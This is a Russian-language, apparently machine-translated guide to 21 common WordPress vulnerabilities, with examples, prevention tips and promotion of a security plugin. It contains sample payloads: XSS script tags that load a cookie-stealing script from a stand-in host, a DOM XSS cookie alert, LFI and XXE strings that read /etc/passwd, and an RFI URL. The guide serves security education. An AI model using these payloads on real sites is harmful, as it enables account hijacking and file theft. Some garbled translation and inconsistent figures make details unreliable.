Объяснение уязвимостей WordPress

К сожалению, уязвимости WordPress существуют. Уязвимости WordPress могут существовать в ваших плагинах, ваших темах и даже ядре WordPress. А поскольку WordPress сейчас поддерживает почти 40% всех веб-сайтов, задача выявления уязвимостей становится еще более важной. Проще говоря: вы должны внимательно следить за безопасностью своего сайта.

Если вы не являетесь экспертом по безопасности WordPress, понимание всех различных уязвимостей WordPress может быть сложной задачей. Также может оказаться непосильной задачей попытаться понять различные уровни серьезности уязвимости, а также риски, связанные с уязвимостью WordPress.

Это руководство определит 21 наиболее распространенную уязвимость WordPress, расскажет, как оценить серьезность уязвимости WordPress, даст примеры того, как хакер может использовать уязвимость, и покажет, как эти уязвимости можно предотвратить. Давайте погрузимся.

Что такое уязвимость WordPress?

Уязвимость WordPress - это слабое место или недостаток в теме, плагине или ядре WordPress, который может быть использован хакером. Другими словами, уязвимости WordPress создают точку входа, которую хакер может использовать для совершения вредоносных действий.

Имейте в виду, что взлом веб-сайтов почти полностью автоматизирован. Из-за этого хакеры могут легко взломать большое количество веб-сайтов практически в кратчайшие сроки. Хакеры используют специальные инструменты, которые сканируют Интернет в поисках известных уязвимостей.

Хакерам нравятся легкие цели, а наличие веб-сайта, на котором запущено программное обеспечение с известными уязвимостями, похоже на передачу хакеру пошаговых инструкций по взлому вашего веб-сайта WordPress, сервера, компьютера или любого другого устройства, подключенного к Интернету.

Наши ежемесячные сводные отчеты об уязвимостях WordPress охватывают все публично раскрытые уязвимости ядра WordPress, плагинов WordPress и тем. В этих обзорах мы сообщаем название уязвимого плагина или темы, уязвимые версии и тип уязвимости.

Что такое уязвимость нулевого дня?

Когда дело доходит до уязвимостей WordPress, важно понимать определение уязвимости нулевого дня. Поскольку уязвимость была раскрыта общественности, у разработчика есть нулевой день для исправления уязвимости. И это может иметь большие последствия для ваших плагинов и тем.

Обычно исследователь безопасности обнаруживает уязвимость и в частном порядке раскрывает уязвимость разработчикам компании, владеющим программным обеспечением. Исследователь безопасности и разработчик соглашаются, что полная информация будет опубликована после того, как патч станет доступным. После выпуска патча может произойти небольшая задержка в раскрытии уязвимости, чтобы дать большему количеству людей время для обновления основных уязвимостей системы безопасности.

Однако, если разработчик не отвечает исследователю безопасности или не может предоставить исправление для уязвимости, исследователь может публично раскрыть уязвимость, чтобы заставить разработчика выпустить исправление.

Публичное раскрытие уязвимости и кажущееся введение нулевого дня может показаться контрпродуктивным. Но это единственное средство, с помощью которого исследователь может оказать давление на разработчика, чтобы исправить уязвимость.

У Google Project Zero есть аналогичные рекомендации, когда дело доходит до раскрытия уязвимостей. Они публикуют полную информацию об уязвимости через 90 дней. Была ли исправлена ​​уязвимость.

Уязвимость может найти каждый. Если хакер обнаружит уязвимость до того, как разработчик выпустит исправление, это станет худшим кошмаром для конечного пользователя…. Активно эксплуатируемый нулевой день.

Что такое активно используемая уязвимость нулевого дня?

Активно используемая уязвимость нулевого дня - это именно то, на что это похоже. Это незащищенная уязвимость, которую хакеры нацеливают, атакуют и активно используют.

В конце 2018 года хакеры активно использовали серьезную уязвимость WordPress в плагине WP GDPR Compliance. Эксплойт позволял неавторизованным пользователям - подробнее об этом в следующем разделе - изменять параметры регистрации пользователей WP и изменять новую роль пользователя по умолчанию с подписчика на администратора.

Эти хакеры обнаружили эту уязвимость раньше, чем плагин WP GDPR Compliance и исследователи безопасности. Таким образом, любой веб-сайт, на котором был установлен этот плагин, был легкой и гарантированной маркой для киберпреступников.

Как защитить себя от уязвимости нулевого дня

Лучший способ защитить ваш сайт от уязвимости нулевого дня - это деактивировать и удалить программное обеспечение, пока уязвимость не будет исправлена. К счастью, разработчики плагина WP GDPR Compliance быстро отреагировали и выпустили исправление для уязвимости на следующий день после ее публичного раскрытия.

Неисправленные уязвимости делают ваш сайт легкой мишенью для хакеров.

Неаутентифицированные и аутентифицированные уязвимости WordPress

Есть еще два термина, с которыми вам нужно знать, когда речь идет об уязвимостях WordPress.

1. Без аутентификации - уязвимость WordPress, не прошедшая аутентификацию, означает, что любой может воспользоваться уязвимостью.
2. Аутентифицированный - уязвимость WordPress, прошедшая аутентификацию, означает, что для ее использования требуется авторизованный пользователь.

Уязвимость, для которой требуется аутентифицированный пользователь, намного сложнее использовать хакеру, особенно если для этого требуются привилегии уровня администратора. И, если у хакера уже есть набор учетных данных администратора, ему действительно не нужно использовать уязвимость, чтобы нанести ущерб.

Есть один нюанс. Для использования некоторых проверенных уязвимостей требуются только возможности уровня подписчика. Если ваш веб-сайт позволяет кому угодно регистрироваться, на самом деле нет большой разницы между этой уязвимостью и неаутентифицированной уязвимостью.

Объяснение 19 распространенных уязвимостей WordPress

Что касается уязвимостей WordPress, существует 21 распространенный тип уязвимостей. Давайте рассмотрим каждый из этих типов уязвимостей WordPress.

1. Обход аутентификации

Уязвимость Authentication Bypass позволяет злоумышленнику пропустить требования аутентификации и выполнять задачи, обычно зарезервированные для аутентифицированных пользователей.

Аутентификация - это процесс проверки личности пользователя. WordPress требует, чтобы пользователи вводили имя пользователя и пароль для подтверждения своей личности.

Пример обхода аутентификации

Приложения проверяют аутентификацию на основе фиксированного набора параметров. Злоумышленник может изменить эти параметры, чтобы получить доступ к веб-страницам, которые обычно требуют аутентификации.

Очень простой пример чего-то вроде этого - параметр аутентификации в URL-адресе.

 https:/my-website/some-plugint?param=authenticated&param=no

Указанный выше URL-адрес имеет параметр аутентификации со значением no. Поэтому, когда мы посещаем эту страницу, нам будет представлено сообщение, информирующее нас о том, что мы не уполномочены просматривать информацию на этой странице.

Однако, если проверка аутентификации была плохо закодирована, злоумышленник мог изменить параметр аутентификации, чтобы получить доступ к частной странице.

 https:/my-website/some-plugint?param=authenticated&param=yes

В этом примере хакер может изменить значение аутентификации в URL-адресе на yes, чтобы обойти требование аутентификации для просмотра страницы.

Как предотвратить предотвращение обхода аутентификации

Вы можете защитить свой веб-сайт от уязвимостей сломанной аутентификации, используя двухфакторную аутентификацию.

2. Уязвимость бэкдора

Уязвимость Backdoor позволяет как авторизованным, так и неавторизованным пользователям обойти обычные меры безопасности и получить высокоуровневый доступ к компьютеру, серверу, веб-сайту или приложению.

Пример бэкдора

Разработчик создает бэкдор, чтобы он мог быстро переключаться между кодированием и тестированием кода в качестве пользователя-администратора. К сожалению, разработчик забывает удалить бэкдор до того, как программное обеспечение станет общедоступным.

Если хакер обнаружит бэкдор, он может использовать точку входа, чтобы получить доступ администратора к программному обеспечению. Теперь, когда у хакеров есть права администратора, они могут совершать всевозможные вредоносные действия, такие как внедрение вредоносных программ или кража конфиденциальных данных.

Как предотвратить бэкдор

Многие бэкдоры можно свести к одной проблеме - неправильной настройке безопасности. Проблемы неправильной конфигурации безопасности можно уменьшить, удалив все неиспользуемые функции в коде, поддерживая все библиотеки в актуальном состоянии и делая сообщения об ошибках более общими.

3. Уязвимость PHP, связанная с внедрением объектов

Уязвимость PHP Object-Injection возникает, когда пользователь отправляет ввод, который не очищен (то есть недопустимые символы не удаляются) перед передачей в функцию unserialized() PHP.

Пример внедрения объекта PHP

Вот реальный пример уязвимости PHP Object-Injection в плагине Sample Ads Manager WordPress, о которой первоначально сообщил sumofpwn.

Проблема связана с двумя небезопасными вызовами unserialize () в файле плагинов sam-ajax-loader.php . Входные данные принимаются непосредственно из запроса POST, как показано в приведенном ниже коде.

 if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;

Эта проблема может привести к тому, что злоумышленник введет и выполнит вредоносный код.

Как предотвратить внедрение объектов PHP

Не используйте функцию unserialize() с вводом, вводимым пользователем, вместо этого используйте функции JSON.

4. Уязвимость межсайтового скриптинга

Уязвимость XSS или межсайтового скриптинга возникает, когда веб-приложение позволяет пользователям добавлять собственный код в путь URL. Злоумышленник может использовать уязвимость, чтобы запустить вредоносный код в веб-браузере жертвы, создать перенаправление на вредоносный веб-сайт или захватить сеанс пользователя.

Отражено три основных типа XSS. хранится и на основе DOM

5. Отраженная уязвимость межсайтового скриптинга

Отраженный XSS или Отраженный межсайтовый сценарий происходит, когда вредоносный сценарий отправляется в клиентском запросе - запросе, сделанном вами в браузере - на сервер, затем отражается сервером и выполняется вашим браузером.

Пример отраженного межсайтового скриптинга

Допустим, yourfavesite.com требует, чтобы вы вошли в систему, чтобы просмотреть часть содержимого веб-сайта. Допустим, этот веб-сайт не может правильно кодировать вводимые пользователем данные.

Злоумышленник может воспользоваться этой уязвимостью, создав вредоносную ссылку и yourfavesite.com ею с пользователями yourfavesite.com в электронных письмах и сообщениях в социальных сетях.

Злоумышленник использует инструмент сокращения URL-адресов, чтобы вредоносная ссылка выглядела yourfavesite.com/cool-stuff и очень интерактивной, yourfavesite.com/cool-stuff . Но когда вы щелкаете сокращенную ссылку, ваш браузер yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js полную ссылку yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js .

После нажатия на ссылку вы yourfavesite.com на yourfavesite.com , и вредоносный сценарий будет отражен в вашем браузере, позволяя злоумышленнику захватить ваши сеансовые куки и yourfavesite.com запись yourfavesite.com .

Как предотвратить отражение межсайтовых скриптов

Правило № 5 в шпаргалке по предотвращению кросс-скриптинга OWASP - кодирование URL перед вставкой ненадежных данных в значения параметров URL-адреса HTML. Это правило может помочь предотвратить создание отраженной уязвимости XSS при добавлении ненадежных данных в значение параметра HTTP GET.

<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >

6. Сохраняемая уязвимость межсайтового скриптинга.

Уязвимость Stored XSS или Stored Cross-Site Scripting позволяет хакерам внедрить вредоносный код и сохранить его на сервере веб-приложения.

Пример сохраненного межсайтового сценария

Злоумышленник обнаруживает, что yourfavesite.com позволяет посетителям вставлять HTML-теги в раздел комментариев сайта. Итак, злоумышленник создает новый комментарий:

Отличная статья! Ознакомьтесь с другой отличной статьей по <script src=”http://bad-guys.com/passwordstealingcode.js> . </script>

Примечание. Для выполнения отраженной уязвимости XSS посетитель должен щелкнуть ссылку вредоносного кода. Сохраненная XSS- атака требует только посещения страницы, содержащей комментарий. Вредоносный код запускается при каждой загрузке страницы.

Теперь, когда наш плохой парень добавил комментарий, каждый будущий посетитель этой страницы будет подвержен их вредоносному сценарию. Скрипт размещен на веб-сайте yourfavesite.com и yourfavesite.com захватывать файлы cookie сеанса посетителей и yourfavesite.com записи yourfavesite.com .

Как предотвратить сохраненные межсайтовые сценарии

Правило № 1 в шпаргалке по предотвращению кросс-сценариев OWASP - это кодирование HTML перед добавлением ненадежных данных в элементы HTML.

 <body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>

 <div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>

Кодирование следующих символов для предотвращения переключения в любой контекст выполнения, такой как сценарий, стиль или обработчики событий. В спецификации рекомендуется использовать шестнадцатеричные сущности.

 & --> &amp; < --> &lt; > --> &gt; " --> &quot; ' --> &#x27;

7. Уязвимость межсайтового скриптинга на основе объектной модели документа

Уязвимость межсайтового скриптинга на основе DOM или объектной модели документа возникает, когда клиентский сценарий веб-сайта записывает предоставленные пользователем данные в объектную модель документа (DOM). Затем веб-сайт считывает дату пользователя из DOM и выводит его в веб-браузер посетителя.

Если данные, предоставленные пользователем, не обрабатываются должным образом, злоумышленник может внедрить вредоносный код, который будет выполняться, когда веб-сайт считывает код из DOM.

Примечание. Отраженный и сохраненный XSS - это проблемы на стороне сервера, в то время как XSS на основе DOM - проблема клиента (браузера).

Пример межсайтового скриптинга на основе объектной модели документа

Распространенный способ объяснить атаку DOM XSS - это настраиваемая страница приветствия. После создания учетной записи, предположим, что yourfavesite.com вы перенаправляетесь на страницу приветствия, настроенную так, чтобы приветствовать вас по имени, используя приведенный ниже код. И имя пользователя закодировано в URL-адресе.

 <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>

Итак, у нас будет URL yourfavesite.com/account?name=yourname .

Злоумышленник может выполнить XSS-атаку на основе DOM, отправив новому пользователю следующий URL-адрес:

 http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>

Когда новый пользователь щелкает ссылку, его браузер отправляет запрос:

 /account?name=<script>alert(document.cookie)</script>

на bad-guys.com . Веб-сайт отвечает страницей, содержащей указанный выше код Javascript.

Браузер нового пользователя создает объект DOM для страницы, в котором объект document.location содержит строку:

 http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>

Исходный код на странице не предполагает, что параметр по умолчанию будет содержать разметку HTML, повторяя разметку на странице. Затем браузер нового пользователя отобразит страницу и выполнит сценарий злоумышленника:

 alert(document.cookie)

Как предотвратить межсайтовый скриптинг на основе DOM

Правило № 1 в шпаргалке по предотвращению межсайтовых сценариев на основе OWASP Dom - уход от HTML. Затем JS ускользает перед добавлением ненадежных данных в подконтекст HTML в контексте выполнения.

Пример опасных методов HTML:

Атрибуты

 element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";

Методы

 document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");

Чтобы сделать динамические обновления HTML в безопасном DOM, OWASP рекомендует:

1. Кодировка HTML, а затем
2. JavaScript кодирует весь ненадежный ввод, как показано в этих примерах:

 element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

 document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

8. Уязвимость подделки межсайтовых запросов

Уязвимость CSRF или подделки межсайтовых запросов возникает, когда киберпреступник вынуждает пользователя выполнить непреднамеренные действия. Злоумышленник подделывает запрос пользователя к приложению.

Пример подделки межсайтового запроса

В нашем обзоре уязвимостей WordPress за январь 2020 года мы сообщили об уязвимости подделки межсайтовых запросов, обнаруженной в плагине Code Snippets. (Плагин был быстро исправлен в версии 2.14.0)

Отсутствие в плагине защиты CRSF позволило любому подделать запрос от имени администратора и внедрить исполняемый код на уязвимый сайт. Злоумышленник мог воспользоваться этой уязвимостью для выполнения вредоносного кода и даже полного захвата сайта.

Как предотвратить подделку межсайтовых запросов

Большинство фреймворков кодирования имеют встроенные средства защиты от синхронизированных токенов для защиты от CSRF, и их следует использовать.

Существуют также внешние компоненты, такие как проект CSRF Protector, которые можно использовать для защиты уязвимостей PHP и Apache CSRF.

9. Уязвимость подделки запросов на стороне сервера

Уязвимость SSRF или Server-Site Request Forger позволяет злоумышленнику обмануть серверное приложение, чтобы сделать HTTP-запросы к произвольному домену по своему выбору.

Пример подделки запроса на стороне сервера

Уязвимость SSRF может быть использована для проведения атаки Reflected Cross-Site Scripting. Злоумышленник может получить вредоносный сценарий с сайта bad-guys.com и передать его всем посетителям веб-сайта.

Как предотвратить подделку запросов на стороне сервера

Первым шагом к снижению уязвимостей SSRF является проверка входных данных. Например, если ваш сервер использует предоставленные пользователем URL-адреса для получения различных файлов, вам следует проверить URL-адрес и разрешить только целевые хосты, которым вы доверяете.

Для получения дополнительной информации о предотвращении SSRF ознакомьтесь со шпаргалкой по OWASP.

10. Уязвимость, связанная с повышением привилегий

Привилегия Эскалация уязвимость позволяет злоумышленнику выполнять задачи , которые обычно требуют привилегий высшего уровня.

Пример повышения привилегий

В нашем обзоре уязвимостей WordPress за ноябрь 2020 года мы сообщили об уязвимости повышения привилегий, обнаруженной в плагине Ultimate Member (уязвимость была исправлена ​​в версии 2.1.12).

Злоумышленник может предоставить параметр массива для wp_capabilities которые определяют роль пользователя. Во время процесса регистрации представленные регистрационные данные были переданы функции update_profile , и любые соответствующие метаданные, которые были отправлены, независимо от того, что было отправлено, будут обновлены для этого нового зарегистрированного пользователя.

По сути, уязвимость позволяла новому пользователю запросить администратора при регистрации.

Как предотвратить повышение привилегий

iThemes Security Pro может помочь защитить ваш сайт от нарушения контроля доступа, ограничив доступ администратора к списку доверенных устройств.

11. Уязвимость удаленного выполнения кода

Уязвимость RCE или удаленного выполнения кода позволяет злоумышленнику получить доступ, внести изменения и даже захватить компьютер или сервер.

Пример удаленного выполнения кода

В 2018 году Microsoft раскрыла уязвимость удаленного выполнения кода, обнаруженную в Excel.

Злоумышленник, успешно воспользовавшийся уязвимостью, может запустить произвольный код в контексте текущего пользователя. Если текущий пользователь вошел в систему с правами администратора, злоумышленник может получить контроль над уязвимой системой. После этого злоумышленник может установить программы; просматривать, изменять или удалять данные; или создайте новые учетные записи с полными правами пользователя. Пользователи, чьи учетные записи настроены на меньшее количество прав в системе, могут пострадать в меньшей степени, чем пользователи, которые работают с правами администратора.

Как предотвратить удаленное выполнение кода

Самый простой способ уменьшить уязвимость RCE - проверить вводимые пользователем данные путем фильтрации и удаления любых нежелательных символов.

У нашей материнской компании Liquid Web есть отличная статья о предотвращении удаленного выполнения кода.

12. Уязвимость, связанная с подключением файлов

Уязвимость включения файлов возникает, когда веб-приложение позволяет пользователю отправлять данные в файлы или загружать файлы на сервер.

Существует два типа уязвимостей, связанных с включением файлов: локальные и удаленные.

13. Уязвимость, связанная с включением локальных файлов.

Уязвимость LFI или включения локального файла позволяет злоумышленнику читать и иногда выполнять файлы на сервере веб-сайта.

Пример включения локального файла

Давайте еще раз посмотрим на yourfavesite.com , где пути, переданные для include операторов, не yourfavesite.com должным образом. Например, давайте взглянем на URL-адрес ниже.

 yourfavesite.com/module.php?file=example.file

Злоумышленник может изменить параметр URL для доступа к произвольному файлу на сервере.

 yourfavesite.com/module.php?file=etc/passwd

Изменение значения файла в URL-адресе может позволить злоумышленнику просмотреть содержимое файла psswd.

Как предотвратить включение локального файла

Создайте разрешенный список файлов, которые может включать страница, а затем используйте идентификатор для доступа к выбранному файлу. А затем заблокируйте любой запрос, содержащий недопустимый идентификатор.

14. Уязвимость удаленного включения файлов

Уязвимость RFI или удаленного включения файла позволяет злоумышленнику включить файл, обычно используя механизмы «динамического включения файлов», реализованные в целевом приложении.

Пример включения удаленного файла

Плагин WordPress WP со Spritz был закрыт в репозитории WordPress.org из-за уязвимости RFI.

Ниже представлен исходный код уязвимости:

 if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);

Код можно использовать, изменив значение content.filter.php?url= value. Например:

 yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec

Предотвращение удаленного включения файлов

Создайте разрешенный список файлов, которые может включать страница, а затем используйте идентификатор для доступа к выбранному файлу. А затем заблокируйте любой запрос, содержащий недопустимый идентификатор.

15. Уязвимость при обходе каталогов

Уязвимость, связанная с обходом каталогов или файлов, позволяет злоумышленнику читать произвольные файлы на сервере, на котором выполняется приложение.

Пример обхода каталогов

Версии WordPress 5.7 - 5.03 были уязвимы для атак с обходом каталогов, поскольку они не могли должным образом проверять данные, вводимые пользователем. Злоумышленник, имеющий доступ к учетной записи с правами как минимум author может воспользоваться уязвимостью обхода каталога и выполнить вредоносный PHP-код на базовом сервере, что приведет к полному удаленному захвату.

Как предотвратить обход каталога

Разработчики могут использовать индексы, а не фактические части имен файлов при создании шаблонов или использовании языковых файлов.

16. Уязвимость, связанная со злонамеренным перенаправлением.

Уязвимость Malicious Redirect позволяет злоумышленнику внедрить код для перенаправления посетителей сайта на другой сайт.

Пример вредоносного перенаправления

Допустим, вы ищете синий свитер с помощью инструмента поиска в онлайн-бутике.

К сожалению, сервер бутика не может правильно кодировать вводимые пользователем данные, и злоумышленник смог внедрить вредоносный скрипт перенаправления в ваш поисковый запрос.

Итак, когда вы вводите синий свитер в поле поиска бутика и нажимаете клавишу ВВОД, вы попадаете на веб-страницу злоумышленника, а не на страницу бутика со свитерами, соответствующими описанию вашего поиска.

Как предотвратить вредоносное перенаправление

Вы можете защититься от злонамеренных перенаправлений, очищая вводимые пользователем данные, проверяя URL-адреса и получая подтверждения посетителей для всех перенаправлений за пределы сайта.

17. Уязвимость внешнего объекта XML

Уязвимость внешней сущности XXE или XML позволяет злоумышленнику обманом заставить анализатор XML передать конфиденциальную информацию внешнему объекту, находящемуся под их контролем.

Пример внешней сущности XML

Злоумышленник может использовать уязвимость XXE, чтобы получить доступ к конфиденциальным файлам, таким как etc / passwd, в котором хранится информация об учетной записи пользователя.

 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>

Как предотвратить использование внешнего объекта XML

Лучший способ предотвратить появление XXE - использовать менее сложные форматы данных, такие как JSON, и избегать сериализации конфиденциальных данных.

18. Атака отказа в обслуживании

DoS -атака или атака типа «отказ в обслуживании» - это преднамеренная попытка сделать ваш веб-сайт или приложение недоступным для пользователей путем наводнения его сетевым трафиком.

В DDoS- атаке распределенного отказа в обслуживании злоумышленник использует несколько источников для наводнения сети трафиком. Злоумышленник захватит группы зараженных вредоносным ПО компьютеров, маршрутизаторов и устройств Интернета вещей, чтобы увеличить поток трафика.

Пример атаки отказа в обслуживании

Самая крупная в истории DDoS-атака (распределенный отказ в обслуживании) была проведена против AWS в феврале этого года. Amazon сообщила, что AWS Shield, их управляемая служба защиты от угроз, наблюдала и смягчала эту масштабную DDoS-атаку. Атака длилась 3 дня и достигла пиковой скорости 2,3 Терабайта в секунду.

Как предотвратить атаку отказа в обслуживании

Есть 2 основных способа смягчить DoS-атаку.

1. Купите больше хостинга, чем вам нужно. Наличие дополнительных ресурсов в вашем распоряжении может помочь вам выдержать повышенный спрос, вызванный DoS-атакой.
2. Используйте брандмауэр на уровне сервера, например Cloudflare. Брандмауэр может обнаружить необычный всплеск трафика и предотвратить перегрузку вашего сайта.

19. Регистрация нажатия клавиш

Ведение журнала нажатия клавиш , также известное как кейлоггинг или захват клавиатуры, происходит, когда хакер скрытно отслеживает и записывает нажатия клавиш посетителей веб-сайта.

Пример регистрации нажатия клавиш

В 2017 году хакер успешно установил вредоносный JavaScript на сервер производителя смартфонов OnePlus.

Используя вредоносный код, злоумышленники отслеживали и регистрировали нажатия клавиш клиентов OnePlus, когда они вводили данные своей кредитной карты. Хакеры регистрировали и собирали нажатия клавиш 40 000 клиентов, прежде чем OnePlus обнаружил и исправил взлом.

Как предотвратить ведение журнала нажатий клавиш

Обновите все! Как правило, злоумышленнику необходимо использовать другую существующую уязвимость, чтобы внедрить кейлоггер на компьютер или сервер. Постоянное обновление всего с помощью последних исправлений безопасности не даст хакерам простой способ установить кейлоггер на ваш веб-сайт или компьютер.

Бонус: 2 уязвимости в социальной инженерии и уязвимости пользователей

Уязвимости программного обеспечения - единственное, чем пытаются воспользоваться хакеры и киберпреступники. Хакеры также нацелены на людей и эксплуатируют их. Давайте рассмотрим несколько способов превратить нас в уязвимости.

1. Фишинг

Фишинг - это метод кибератаки с использованием электронной почты, социальных сетей, текстовых сообщений и телефонных звонков, чтобы обманом заставить жертву предоставить личную информацию. Затем злоумышленник будет использовать эту информацию для доступа к личным учетным записям или для совершения мошенничества с идентификацией.

Как обнаружить фишинговое письмо

Как мы узнали ранее в этом посте, для использования некоторых уязвимостей требуется определенное взаимодействие с пользователем. Один из способов, которым хакер обманом заставляет людей участвовать в их гнусных начинаниях, - это рассылать фишинговые электронные письма.

Узнав, как распознать фишинговое письмо, вы не сможете случайно сыграть в планы киберпреступников.

4 совета по обнаружению фишинговых писем :

1. Посмотрите на адрес электронной почты отправителя. Если вы получаете электронное письмо от компании, часть адреса электронной почты отправителя после символа «@» должна совпадать с названием компании.
   
   Если электронное письмо представляет компанию или государственный орган, но использует общедоступный адрес электронной почты, например «@gmail», это признак фишингового письма.
   
   Следите за незначительными ошибками в написании доменного имени. Например, давайте посмотрим на этот адрес электронной почты [электронная почта защищена]. Мы видим, что у Netflix в конце стоит дополнительный символ «x». Опечатка является явным признаком того, что письмо было отправлено мошенником, и его следует немедленно удалить.
   
2. Ищите грамматические ошибки . Письмо с грамматическими ошибками является признаком злонамеренного письма. Все слова могут быть написаны правильно, но в предложениях отсутствуют слова, которые сделали бы предложение связным. Например: «Ваш аккаунт взломан. Обновите пароль для безопасности учетной записи ».
   
   Все делают ошибки, и не каждое электронное письмо с одной или двумя опечатками - это попытка вас обмануть. Однако многочисленные грамматические ошибки требуют более внимательного изучения, прежде чем отвечать.
   
3. Подозрительные вложения или ссылки - стоит на мгновение приостановить работу с любыми вложениями или ссылками, включенными в электронное письмо.
   
   Если вы не узнаете отправителя электронного письма, вам не следует загружать вложения, включенные в электронное письмо, поскольку оно может содержать вредоносное ПО и заразить ваш компьютер. Если в электронном письме утверждается, что оно принадлежит компании, вы можете погуглить их контактную информацию, чтобы убедиться, что письмо было отправлено от них, прежде чем открывать какие-либо вложения.
   
   Если электронное письмо содержит ссылку, вы можете навести указатель мыши на ссылку, чтобы убедиться, что URL-адрес отправляет вам туда, где он должен быть.
   
4. Следите за срочными запросами - мошенники часто используют уловку, чтобы создать ощущение срочности. Вредоносное электронное письмо может создать сценарий, требующий немедленных действий. Чем больше у вас будет времени подумать, тем больше шансов, что вы определите, что запрос исходит от мошенника.
   
   Вы можете получить электронное письмо от своего «босса» с просьбой заплатить поставщику как можно скорее или от вашего банка, информирующее вас о том, что ваша учетная запись была взломана и требуются немедленные действия.

2. Слабые полномочия

Пользователи могут стать самой большой уязвимостью безопасности WordPress.

В списке, составленном Splash Data, наиболее распространенным паролем, включенным во все дампы данных, было 123456. Дамп данных - это взломанная база данных, заполненная паролями пользователей, сброшенными где-то в Интернете. Можете ли вы представить, сколько людей на вашем сайте используют слабый пароль, если 123456 - самый распространенный пароль в свалках данных?

Несмотря на то, что 91% людей знают, что повторное использование паролей - плохая практика, 59% людей по-прежнему повторно используют свои пароли повсюду! Многие из этих людей все еще используют пароли, которые, как им известно, появились в дампе базы данных.

Хакеры используют атаку методом грубой силы, называемую атакой по словарю. Атака по словарю - это метод взлома веб-сайта WordPress с часто используемыми паролями, которые появляются в дампах базы данных. «Сборник №1? Нарушение данных, размещенное на хостинге MEGA, включало 1 160 253 228 уникальных комбинаций адресов электронной почты и паролей. То есть миллиард с буквой b. Такой результат действительно поможет словарной атаке сузить наиболее часто используемые пароли WordPress.

Слабые учетные данные превращают вашу учетную запись WordPress в легкую уязвимость для хакеров.

Как предотвратить использование слабых учетных данных

Лучший способ предотвратить использование слабых учетных данных - создать политику надежных паролей и использовать двухфакторную аутентификацию.

Функция требований к паролю iThemes Security Pro позволяет заставить членов группы пользователей использовать надежный пароль , выбрать время истечения срока действия пароля , отказаться от взломанных паролей и принудительно изменить пароли для всего сайта, чтобы все соблюдали вашу новую политику надежных паролей.

Двухфакторная аутентификация - это процесс проверки личности человека, требующий двух отдельных методов проверки. Google поделился в своем блоге, что использование двухфакторной аутентификации может остановить 100% автоматических атак ботов.

Функция двухфакторной аутентификации iThemes Security Pro обеспечивает большую гибкость при внедрении 2fa на вашем веб-сайте. Вы можете включить двухфакторный режим для всех или некоторых ваших пользователей, и вы можете заставить своих высокоуровневых пользователей использовать 2fa при каждом входе в систему.

Как защитить свой сайт WordPress от уязвимостей WordPress

Давайте рассмотрим некоторые практические шаги, которые вы можете предпринять, чтобы защитить свой сайт от уязвимостей WordPress.

1. Своевременно обновляйте программное обеспечение WordPress.

Наличие уязвимого плагина или темы, для которой есть исправление, но не применено, является виновником номер один взломанных веб-сайтов WordPress. Это означает, что большинство уязвимостей используется ПОСЛЕ выпуска исправления для уязвимости.

Широко известное нарушение Equifax можно было бы предотвратить, если бы они обновили свое программное обеспечение. Взлому Equifax просто не было оправдания.

Вас может защитить такая простая вещь, как обновление программного обеспечения. Так что не игнорируйте эти обновления WordPress - обновления являются одним из самых основных компонентов WordPress и всей веб-безопасности.

Функция управления версиями iThemes Security Pro позволяет настраивать и автоматизировать обновления WordPress.

2. Следите за уязвимостями WordPress.

Обновление ваших плагинов и тем не защитит вас от всех уязвимостей. Некоторые плагины и темы были оставлены разработчиками, которые их создали.

К сожалению, если заброшенный плагин или тема имеет уязвимость, патч для них никогда не будет. Хакеры будут нацелены на веб-сайты, которые используют эти теперь постоянно уязвимые плагины.

Если у вас есть заброшенный плагин с известной уязвимостью на вашем веб-сайте, вы даете хакерам чертежи, которые им нужны, чтобы захватить ваш сайт. Вот почему вы должны отслеживать все последние уязвимости.

Трудно отслеживать каждую обнаруженную уязвимость WordPress и сравнивать этот список с версиями плагинов и тем, которые вы установили на своем веб-сайте. Отслеживание уязвимостей - это разница между безопасным веб-сайтом и тем, который хакеры могут легко использовать.

Хорошие новости для вас! Мы отслеживаем и публикуем каждую обнаруженную уязвимость в наших обзорах уязвимостей WordPress.

3. Просканируйте свой веб-сайт на наличие уязвимостей.

Более быстрый способ защитить ваш сайт от хакерских атак - это использовать автоматическое сканирование для проверки ваших сайтов на наличие известных уязвимостей.

Сканер сайтов iThemes Security Pro - это ваш способ автоматизировать защиту от уязвимостей на всех ваших веб-сайтах WordPress. Сканер сайта проверяет ваш сайт на наличие известных уязвимостей и автоматически применяет исправление, если оно доступно.

Сайт iThemes Security Pro проверяет 3 типа уязвимостей.

1. Уязвимости WordPress
2. Уязвимости плагина
3. Уязвимости темы

Функция аудита сайта iThemes Sync Pro использует возможности Google Lighthouse для защиты вашего сайта. Аудит сайта проверяет и помечает страницы, которые включают интерфейсные библиотеки JavaScript с известными уязвимостями безопасности.
